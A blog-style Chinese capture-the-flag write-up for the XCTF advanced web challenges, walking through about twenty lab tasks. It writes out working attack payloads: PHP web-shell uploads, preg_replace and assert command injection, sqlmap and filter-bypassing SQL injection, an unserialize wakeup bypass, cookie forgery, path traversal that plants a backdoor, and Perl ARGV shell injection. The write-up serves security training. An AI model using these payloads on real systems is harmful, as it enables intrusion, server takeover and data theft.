攻防世界web高手区writeup

原创

a370793934 于 2019-11-27 11:44:06 发布 666 收藏 1
分类专栏： WriteUp 文章标签： 攻防世界 web writeup ctf

本文链接：https://blog.csdn.net/a370793934/article/details/103273186

Cat　django报错

ctrl+u查看源码，发现input name=url

?url=%79 发现有url转换，转换成w，在输入=%80(ascii码表第%80不存在)报错

Django使用的是gbk编码，超过%F7的编码不在gbk中有意义

当 CURLOPT_SAFE_UPLOAD 为 true 时，如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求，来读取文件。当且仅当文件中存在中文字符的时候，Django 才会报错导致获取文件内容。

进行fuzz后，发现字符超过0x7F的ASCII都会引发Django的报错。在url中输入?url=%88,可以得到报错页面

从报错信息中看出使用的是python站点 使用的是Django框架

所以根据Django的目录，我们使用@进行文件传递，对文件进行读取之后还会把内容传给url参数，如果像上面一样有超出解析范围的编码的时候就会得到错误信息。

我们的目标首先是数据库文件，看从错误信息中能不能拿到flag，可以从配置文件settings.py的报错中看看有没有database的相关信息

?url=@/opt/api/api/settings.py

报错内容搜索database可以得到数据库地址

?url=@/opt/api/database.sqlite3

报错信息中搜索ctf，拿到WHCTF{yoooo_Such_A_G00D_@}

http://111.198.29.45:33792/index.php?url=@/opt/api/database.sqlite3

ics-05　文件包含和preg_replace /e漏洞

文件包含漏洞读取

http://111.198.29.45:34414/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

内容base64解码成源代码，代码审计发现preg_replace函数引发的命令执行漏洞

bs发包

GET /index.php?pat=/test/e&rep=phpinfo();&sub=test HTTP/1.1

Host: 111.198.29.45:34414

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

X-Forwarded-For:127.0.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=4noecvecn50vqvdqlundcbet90

Connection: close

phpinfo();执行成功

替换phpinfo()函数，直到找到flag.php

system("cd+s3chahahaDir/flag+%26%26+cat+flag.php");

%26为&

看返回raw

$flag = 'cyberpeace{1805db55dbbff05b067a70861cd0fb42}';

ics-06　id爆破

发现报表中心有id可以爆破，直接使用burp爆破

返回器查看得到

cyberpeace{2a35ede1a7e583eaf28f9382f9b9de10}

NewsCenter sql注入

bs抓包保存为1.txt

cmd运行

python sqlmap.py -r 1.txt --dump --batch

拿到flag QCTF{sq1_inJec7ion_ezzz}

Mfw .git泄露、php语句闭合

御剑扫后台发现.git

cmd启动githack

Z:\D\tools\网站后台扫描\GitHack-master>python GitHack.py http://111.198.29.45:53849/.git

拿到index.php代码审计

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

assert("file_exists('$file')") or die("That file doesn't exist!");

即构造$file 闭合整个

assert() 检查一个断言是否为 FALSE

strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False

file_exists() 函数检查文件或目录是否存在。

assert()函数会将括号中的字符当成代码来执行，并返回true或false。

payload:?page=abc') or system("cat templates/flag.php");//

$file =templates/ abc') or system("cat templates/flag.php");// ".php"

因为在strpos中只传入了abc，所以其肯定返回false，在利用or让其执行system函数，再用" // "将后面的语句注释掉

或者

payload：

http://111.198.29.45:53849/?page=?about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag

http://111.198.29.45:53849/?page=',") or print_r(file_get_contents('templates/flag.php'));//

http://111.198.29.45:53849/?page=' and show_source('templates/flag.php') and '

查看网页源码：

cyberpeace{ee8d36db521cd93b4bf02a71a69fdfc3}

NaNNaNNaNNaN-Batman js代码（eval函数、splice函数） 正则

下载文件，解压后，添加.html后缀名

sublime打开发现乱码，分析后，把eval函数改为alert保存

用浏览器打开文件，弹出还原后的源码

```
function $(){
var e=document.getElementByld("c").value;
if(e.length==16)
  if(e.match(/^be0f23/)!=null)
```

```
    if(e.match(/233ac/)!=null)
      if(e.match(/e98aa$/)!=null)
        if(e.match(/c7be9/)!=null){
        var t=["fl","s_a","i","e}"];
        var n=["a","_h0l","n"];
        var r=["g{","e","_0"];
        var i=["it'","_","n"];
        var s=[t,n,r,i];
        for(var o=0;o<13;++o){
        document.write(s[o%4][0]);s[o%4].splice(0,1)}
        }
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
```

又要分析上面的代码了…

我们的终极目标是打印出document.write(s[o%4][0]);s[o%4].splice(0,1)}

因此我们要满足关键变量e的条件

e.length==16

e.match(/^be0f23/)!=null

e.match(/233ac/)!=null

e.match(/e98aa$/)!=null

e.match(/c7be9/)!=null

这里又用到了正则表达式

^表示开头一定要匹配到be0f23，$表示结尾一定要匹配到e98aa，其它的只要匹配到就好，没有位置要求

于是我们构造e的值

e=be0f233ac7be98aa

将上面的核心代码后缀改为html格式，打开如下图所示

在这里插入图片描述

框中输入e的值be0f233ac7be98aa，点击Ok

得到flag：

flag{it’s_a_h0le_in_0ne}

PHP2 .phps urldecode/urlencode

御剑扫描得到.phps链接看源代码

分析代码：

第一步，要使得"admin"===$_GET[id]不成立

第二步，经过$_GET[id] = urldecode($_GET[id]);，使得$_GET[id] == "admin"成立。

故有构建id=admin

admin两次url加密

http://111.198.29.45:33826/?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

显示flag

Key: cyberpeace{dc61e88126565c531f469af0cd667160}

Unserialize3 序列化 wakeup函数

在code里面输入序列化的xctf，但是有__wakeup()，要绕过__wakeup,

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

序列化后的值为

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

变为O:4:"xctf":2:{s:4:"flag";s:3:"111";}可绕过

payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag

cyberpeace{4bad14fc662d8d27a30ec215b4b4bef4}

Triangle js逆向

构造最后的exp:

```
function reverseEnc(argarray){
  var test = 0;
```

```
  var output = new Array();

  for(var i = 0 ; i < argarray.length ; i++){
    var x = argarray[i];
    if(test == 1){
      var sub = (i & 3);
      x = x - sub;
    }
    x = x - 6;
    test = (argarray[i] & 1);
    output[i] = x;
  }
  return output;
}
htos(reverseEnc(findReqR6()))
```

得到 flag 为 ：

flag:{MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ}

wtf.sh-150 路径穿越 cookie欺骗 代码审计

首先构造路径穿越：http://111.198.29.45:44615/post.wtf?post=../

出现源码泄露，并且发现了对应的登录账号为admin时才能get出flag

```
<html>
<head>
    <link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$   local username=$(head -n 1 users/${URL_PARAMS['user']});
$   echo "<h3>${username}'s posts:</h3>";
$   echo "<ol>";
$   get_users_posts "${username}" | while read -r post; do
```

```
$       post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$       echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$   done
$   echo "</ol>";
$   if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$   then
$       get_flag1
$   fi
$ fi
```

源码泄露发现有user子目录：http://111.198.29.45:44615/post.wtf?post=../users/ 发现admin账号

同时发现token值是存储在user目录中的，所以能够进行token伪造

点击进入admin的post请求中发现

Posted by admin

ae475a820a6b5ade1d2e8b427b59d53d15f1f715

uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g

修改参数进行cookies

Cookie: PHPSESSID=fa85cb4d56447f39cac00ef800350635; USERNAME=admin;
TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldF

伪造成功发现部分flag：

Flag: xctf{cb49256d1ab48803

至此前半部分的flag为：xctf{cb49256d1ab48803

继续在源码中找解析 wtf 文件的代码

```
max_page_include_depth=64
page_include_depth=0
function include_page {
    # include_page pathname
    local pathname=$1
    local cmd=
    [[ ${pathname(-4)} = '.wtf' ]];
    local can_execute=$;
```

```
    page_include_depth=$(($page_include_depth+1))
    if [[ $page_include_depth -lt $max_page_include_depth ]]
    then
        local line;
        while read -r line; do
            # check if we're in a script line or not ($ at the beginning implies script line)
            # also, our extension needs to be .wtf
            [[ $ = ${line01} && ${can_execute} = 0 ]];
            is_script=$;
            # execute the line.
            if [[ $is_script = 0 ]]
            then
                cmd+=$'n'${line#$};
            else
                if [[ -n $cmd ]]
                then
                    eval $cmd  log Error during execution of ${cmd};
                    cmd=
                fi
                echo $line
            fi
        done  ${pathname}
    else
        echo pMax include depth exceeded!p
    fi
}
```

能够解析并执行 wtf 文件，如果还能够上传 wtf 文件并执行的话，就可以达到控制服务器的目的。

于是继续审计代码，发现如下代码给了这个机会：

```
function reply {
    local post_id=$1;
    local username=$2;
```

```
    local text=$3;
    local hashed=$(hash_username "${username}");
    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
    next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
    next_file=(posts/${post_id}/${next_reply_id});
    echo "${username}" > "${next_file}";
    echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
    echo "${text}" >> "${next_file}";
    # add post this is in reply to to posts cache
    echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}
```

这是评论功能的后台代码，这部分也是存在路径穿越的。

我们可以使用户名为一段可执行代码,并且写入文件格式为wtf,就可以执行这段代码

先正常的回复一下,然后抓包进行修改,上传后门m.wtf,注意一点,m.wtf后面要加%09,表示制表符,否在会被当做目录去解析:

GET /reply.wtf?post=../m.wtf%09 HTTP/1.1

放包访问:

成功写入,接下来需要注册名称包含可执行代码的用户:

再注册一个:

重复上述步骤,访问m.wtf:

http://111.198.29.45:44615/m.wtf

得到第二段flag

149e5ec49d3c29ca}

合起来flag是

xctf{cb49256d1ab48803149e5ec49d3c29ca}

Lottery .git泄露、php源码审计、弱类型利用

御剑扫描目录，发现robots.txt里有提示.git泄露：

python GitHack.py http://111.198.29.45:37089/.git/

提取.git泄露的源码，得到许多文件,分析应该是买到手之后就能拿到flag，如果是这个flag就在.git里，那就好办了，尝试配合grep命令在这些文件中查找flag，并没有结果，要想有钱买flag，首页就给我们提供了一个方法：

买彩票猜数就行了，但是怎么能猜对？这就要审计一下代码，找找漏洞了。

经过一番审计，猜数字对应的函数在api.php中

我们要绕过这个$win_numbers，$win_numbers我们是无法控制的，毕竟函数在人家服务器上运行，我们只能输入数字，那么就只能在输入上做文章了，89行判断相等的数字个数时，用的是==，这不就是个弱类型漏洞吗，bool类型的true是可以和任何数据弱类型相等的，于是输入，抓包改包来刷钱：

{"action":"buy","numbers":{"0":true,"1":true,"2":true,"3":true,"4":true,"5":true,"6":true}}

刷钱够之后去买flag即可：

cyberpeace{b35f41a882e2d703f9a0d12066e19c97}

Training-WWW-Robots robots.txt

御剑扫描发现http://111.198.29.45:45025/robots.txt

打开里面有

User-agent: *

Disallow: /fl0g.php

User-agent: Yandex

Disallow: *

访问：http://111.198.29.45:45025//fl0g.php得到flag

cyberpeace{ecb2ba36b52b4b091e0cbf0a89b1884d}

Bug 密码修改漏洞、X-Forwarded-For、上传漏洞

首先打开场景发现是一个登录页面，而且有注册界面，而且还有修改密码的选项，首先注册号账号后查看是否登陆进去能找到漏洞，未果。

打开修改密码界面，尝试是否有逻辑漏洞，果然，将admin账号的密码成功修改为harry。

抓包修改密码的界面并且将账号修改成admin，成功将admin的密码修改为admin

使用admin登录，进入管理界面显示IP不匹配。

请求头加入X-Forwarded-For: 127.0.0.1进行ip伪造成功

源码中发现

构造对应的网址http://111.198.29.45:39871/index.php?module=filemanage&do=upload

上传对应的文件，抓包，上传png文件然后将文件后缀改为.php5内容改为

<script language="php">system('ls');</script>

构造php文件，上传之后flag出现

you have get points,here is the flag:cyberpeace{79492194eff699fc97e87537b3ef6360}最终的flag为：

cyberpeace{79492194eff699fc97e87537b3ef6360}

Upload 文件名sql注入

注册一个账号并登录后，上传一张图片，可以看到图片名会显示在页面上，猜测到文件名可能存在注入漏洞，上传一张名为select和from的图片，发现文件名被过滤，将select改为selselectect可成功绕过。

构造payload

查询数据库:

sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

返回:

sql 131277325825392 => web_up

sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

返回:

sql 1819238756 => load

拼接起来得知数据库名为:web_upload

然后查表:

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

返回:

sql 114784820031327 => hello_

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

返回:

sql 112615676665705 => flag_i

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

返回:

sql 126853610566245 => s_here

拼接起来得知存放flag的表名为: hello_flag_is_here

然后查这个表里有什么字段:

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

返回:

sql 115858377367398 => i_am_f

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

返回:

sql 7102823=> lag

拼接起来得知存放flag的字段是:i_am_flag

然后查询flag:

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

返回:

sql 36427215695199 => !!_@m_

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

返回:

sql 92806431727430=> Th.e_F

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

返回:

sql 560750951=> !lag

拼起来之后得到flag: !!_@m_Th.e_F!lag

最终的flag为：!!_@m_Th.e_F!lag

FlatScience SQL注入，sha1函数密码碰撞

御剑扫描：

进站后点击链接尝试会让下载pdf文件。(后面要用到pdf文件)

访问robots.txt:

再依次对这两个页面进行测试：

admin.php无论如何输入都没有什么反馈

login.php在username中输入admin' union select database()时报错：

可以看到是sqlite数据库，表的结构和查询函数和MySQL有所不同。

在这里花了相当长的时间注入，database()在sqlite里面是没有的，未果，最后发现源码

url改为login.php?debug，出现了php源码

sql查询可以轻松闭合，但是这里并没有要给flag的意思，bp抓包再对username进行注入，看响应头有没有给出信息：

构造usr=' union select name,sql from sqlite_master--+&pw=

为什么要查询sql呢，这涉及到sqlite自带的结构表sqlite_master，sql是sqlite_master中的一个字段，注入时经常用到的，注入后响应头的set-cookie：

set-cookie也就是：

CREATE TABLE Users(

id int primary key,

name varchar(255),

password varchar(255),

hint varchar(255)

)

这就出现了表名和表中的字段了，仍然在usr处用limit进行移位并查询：

usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=chybeta

usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=chybeta

usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=chybeta

usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=chybeta

得到数据：

admin 3fab54a50e770d830c0416df817567662a9dc85c +my+fav+word+in+my+fav+paper?!

fritze 54eae8935c90f467427f05e4ece82cf569f89507 +my+love+isâ¦?

hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3bd +the+password+is+password

上面的源码中的查询语句的password就是对密码+salt进行了sha1，我们登陆的话应该需要利用sha1函数和salt找出密码，admin的hint是 +my+fav+word+in+my+fav+paper?!，那会不会密码藏在pdf文件中呢？

爬取站点中所有的pdf文件，总共30个，然后用脚本进行解析处理，并用sha1函数与加密的密码进行碰撞已找出正确的密码，拿大佬的脚本：

```
from cStringIO import StringIO

from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

from pdfminer.converter import TextConverter

from pdfminer.layout import LAParams

from pdfminer.pdfpage import PDFPage

import sys

import string

import os
```

```
import hashlib

def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text

def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print "Find the password :" + word
exit()

if __name__ == "__main__":
find_password()
```

跑出admin的密码为：ThinJerboa

在admin.php界面用admin登录得到flag：

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

web2 rot13、stttev()函数、base64、算法加解密

打开发现源码

```
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;

    for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
  逆向加密算法，解密$miwen就是flag
*/
?>
```

解密：

source：a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws

rot13解密python脚本：

```
def rot13(crypt_str):
    # coding:utf-8

    import string

    def decoder(crypt_str, shift):
        crypt_list = list(crypt_str)
        plain_str = ""
        num = int(shift)
        for ch in crypt_list:
            ch = ord(ch)
            if ord('a') <= ch and ch <= ord('z'):
                ch = ch + num
                if ch > ord('z'):
                    ch -= 26
            if ord('A') <= ch and ch <= ord('Z'):
                ch = ch + num
                if ch > ord('Z'):
                    ch -= 26
            a = chr(ch)
            plain_str += a

        print(plain_str)
    shift = 13
    decoder(crypt_str, shift)

rot13("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")
```

解密出：n1mYotDfPRFRVdEYjhDNlZjYld2Y5ljOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf

stttev解密编写php

```
<?php
echo strrev("n1mYotDfPRFRVdEYjhDNlZjYld2Y5ljOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf");
?>
```

解密出 : fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjl5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n

继续base64 解密出: ~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg

对编码进行逆向操作，这里使用python语言：

```
# coding:utf-8
"""
#源码
for($_0=0;$_0<strlen($_o);$_0++){

    $_c=substr($_o,$_0,1);  # 每次取一个字符，就是对应的遍历的字符i
    $__=ord($_c)+1;  # 转化为对应的10进制数
    $_c=chr($__);  # 10进制转换为ASCII码
    $_=$_.$_c;   # 累加$_c
  }
"""
#解密
def reverse(strings):
  now = ''
  for i in range(len(strings)):
    temp = strings[i]
    temp_ord = ord(temp) - 1
    temp_chr = chr(temp_ord)
    now += temp_chr
  ans = now[::-1]
  return ans
```

```
if __name__ == '__main__':
    string = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg"
    print(reverse(string))
```

最终答案为：

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

upload1 上传漏洞、菜刀利用

上传发现有js验证只能上传jpg文件

上传一句话木马<?php @eval($_POST[cmd]);?>

后缀改成jpg文件上传，bs抓包改回php

上传成功返回了文件地址

http://111.198.29.45:57315/upload/1571297368.yijuhua.php

用菜刀连接返回上级目录找到了flag.php文件

打开就是最终的flag

cyberpeace{2319511f41000241501e2a08dafff33b}

ics-04 sql注入、重复注册

提示注册登录功能有漏洞

有三个可以访问的功能，注册、登录和找回密码

注册功能：没有sql注入，一个账号可以重复注册漏洞

登录功能：没有sql注入，一个账号不同密码能够登录

找回密码功能：存在sql注入，payload：

```
python sqlmap.py -u "http://111.198.29.45:47407/findpwd.php" --data="username=1" -D cetc004 -T user -C "username,password" --dump
```

得到账号：c3tlwDmln23，密码：2f8667f381ff50ced6a3edc259260ba9

```
+------------+----------------------------------+
```

| username | password |

+----------+----------+

| c3tlwDmln23 | 2f8667f381ff50ced6a3edc259260ba9 |

+----------+----------+

利用重复注册账号漏洞，注册账号c3tlwDmln23，密码123456，登录成功，取得flag

cyberpeace{236a9b85ba097b2527d653075b8491dd}

或者用python脚本登录查看flag

```
import requests
url = 'http://111.198.29.45:47407/login.php'
username = 'c3tlwDmln23'
password = '123456'
payloads = {'username':username, 'password':password}
r = requests.post(url, data = payloads)
print (r.content)
```

获取到的flag：

cyberpeace{236a9b85ba097b2527d653075b8491dd}

ics-07 代码审计、菜刀利用

御剑扫描出后台有index.php

访问：http://111.198.29.45:46109/index.php

看到view-source

看一下源码

```
<?php
    if ($_SESSION['admin']) {
      $con = $_POST['con'];
      $file = $_POST['file'];
      $filename = "backup/".$file;

      if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
        die("Bad file extension");
```

```
    }else{
        chdir('uploaded');
        $f = fopen($filename, 'w');
        fwrite($f, $con);
        fclose($f);
    }
  }
  ?>
```

```
<?php
  if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
    include 'config.php';
    $id = mysql_real_escape_string($_GET[id]);
    $sql="select * from cetc007.user where id='$id'";
    $result = mysql_query($sql);
    $result = mysql_fetch_object($result);
  } else {
    $result = False;
    die();
  }

  if(!$result)die("<br >something wae wrong ! <br>");
  if($result){
    echo "id: ".$result->id."</br>";
    echo "name:".$result->user."</br>";
    $_SESSION['admin'] = True;
  }
  ?>
```

先看这一段

```
<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
```

```
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>
```

我们只需要绕过isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9'

拿到 $_SESSION[‘admin’] = True;

构造payload：?id=1–9&submit&page=flag.php

成功

接下来看下一关

```
<?php
    if ($_SESSION['admin']) {
      $con = $_POST['con'];
      $file = $_POST['file'];
      $filename = "backup/".$file;  //假目录

      if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
```

```
        die("Bad file extension");
    }else{
        chdir('uploaded'); //更改目录
        $f = fopen($filename, 'w');
        fwrite($f, $con);
        fclose($f);
    }
}
?>
```

这里需要注意 $filename = "backup/".$file;这一句

backup/ 是个假目录

chdir('uploaded');这里改了目录

有用的是这个目录

这里的正则没看懂

看了大佬的wp

说这个是只过滤了最后一个"."后面的东西。

可以使用…/filename/.来过滤

现在尝试写个东西进去

con是文件内容

file是文件名

使用POST传参

con=<?php @eval($_POST['cmd']);?>&file=../a.php/.

一句话木马

然后菜刀连接

http://111.198.29.45:46109/uploaded/a.php

查看flag.php

cyberpeace{48d17e27374bddf0269b9797360041f4}

i-got-id-200 perl脚本审计

点击Files,这里会把上传的文件的内容在下方输出,猜测后台逻辑:

```
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
my $file= $cgi->param( 'file' );
 while ( <$file> ) { print "$_"; }
```

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件，那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的:

bs抓包改

```
POST /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| HTTP/1.1


----------------------------300042687413059
Content-Disposition: form-data; name="file";
Content-Type: image/jpeg


ARGV
----------------------------300042687413059
Content-Disposition: form-data; name="file"; filename="a.jpg"
Content-Type: image/jpeg
```

返回文件列表

最后读取flag改

```
POST /cgi-bin/file.pl?/bin/bash%20-c%20cat${IFS}/flag| HTTP/1.1
```

或者

```
POST /cgi-bin/file.pl?/flag HTTP/1.1
```

显示flag

cyberpeace{9f3e824c73251df8d36ca9a33072756b}